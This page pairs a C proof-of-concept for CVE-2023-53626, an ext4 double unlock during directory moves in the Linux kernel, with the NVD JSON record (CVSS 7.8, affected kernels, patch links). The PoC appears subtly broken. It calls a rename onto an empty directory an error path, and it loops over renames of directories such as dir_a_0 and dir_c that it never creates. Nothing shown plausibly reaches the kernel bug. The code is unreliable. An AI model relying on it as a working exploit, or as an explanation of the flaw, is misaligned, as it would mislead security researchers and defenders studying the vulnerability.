CVE-2023-53626

// CVE-2023-53626 PoC - Trigger double unlock in ext4 directory move // This PoC demonstrates how to trigger the double unlock vulnerability // when moving a directory in ext4 filesystem #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <errno.h> #include <string.h> #define DIR_A "dir_a" #define DIR_B "dir_b" #define DIR_C "dir_c" #define SUBDIR "subdir" int main(int argc, char *argv[]) { // Step 1: Create initial directory structure mkdir(DIR_A, 0755); mkdir(DIR_B, 0755); // Step 2: Create a subdirectory inside dir_a char path[256]; snprintf(path, sizeof(path), "%s/%s", DIR_A, SUBDIR); mkdir(path, 0755); // Step 3: Create files in the subdirectory to increase metadata complexity for (int i = 0; i < 10; i++) { char filepath[256]; snprintf(filepath, sizeof(filepath), "%s/file_%d", path, i); int fd = open(filepath, O_CREAT | O_WRONLY, 0644); if (fd >= 0) { write(fd, "test data", 9); close(fd); } } // Step 4: Attempt to move dir_a into dir_b while creating // a conflicting entry to trigger error handling path // Create a target directory with same name to force error snprintf(path, sizeof(path), "%s/%s", DIR_B, DIR_A); mkdir(path, 0755); // Pre-create target to trigger error path // Step 5: Attempt rename which triggers the double unlock bug if (renameat(AT_FDCWD, DIR_A, AT_FDCWD, path) == -1) { printf("rename returned: %s\n", strerror(errno)); } // Step 6: Rapid successive moves to increase chance of triggering // the double unlock condition for (int i = 0; i < 100; i++) { char src[256], dst[256]; snprintf(src, sizeof(src), "%s_%d", DIR_A, i % 2); snprintf(dst, sizeof(dst), "%s/%s_%d", DIR_C, DIR_A, i % 2); renameat(AT_FDCWD, src, AT_FDCWD, dst); } printf("PoC execution completed\n"); return 0; }

{"cve": {"id": "CVE-2023-53626", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:45.440", "lastModified": "2026-02-03T22:27:45.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix possible double unlock when moving a directory"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.4.237:*:*:*:*:*:*:*", "matchCriteriaId": "A0C4A400-BF1C-4D41-98B3-E639419C1B25"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.10.175:*:*:*:*:*:*:*", "matchCriteriaId": "344E76D2-2659-4379-ADF2-01C772925245"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.15.103:*:*:*:*:*:*:*", "matchCriteriaId": "8A848597-242F-43EC-9D61-6A2B2C98F7B8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.1.20:*:*:*:*:*:*:*", "matchCriteriaId": "36E6ECBE-C10D-40AF-B0FA-2EF41789D2EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.2.7:*:*:*:*:*:*:*", "matchCriteriaId": "2CF554BC-2C12-456C-BECE-A85F92BF95FA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.3:rc1:*:*:*:*:*:*", "matchCriteriaId": "B8E3B0E8-FA27-4305-87BB-AF6C25B160CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.3:rc2:*:*:*:*:*:*", "matchCriteriaId": "A47F0FC3-CE52-4BA1-BA51-22F783938431"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/020166bc6669ca9fb267ebd96bd88c4fb64a5d46", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1c93c42c7bb23057bde8a0a2ab834927ff64d20c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/43ce288ab5d7274a4a141d7f5e3ed2ab7b41f8a2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/70e42feab2e20618ddd0cbfc4ab4b08628236ecd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c16cbd8233d6c58fc488545393e49b5d55729990", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e71eb4dca41f0f36823724ced0406bb2dbdd5506", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}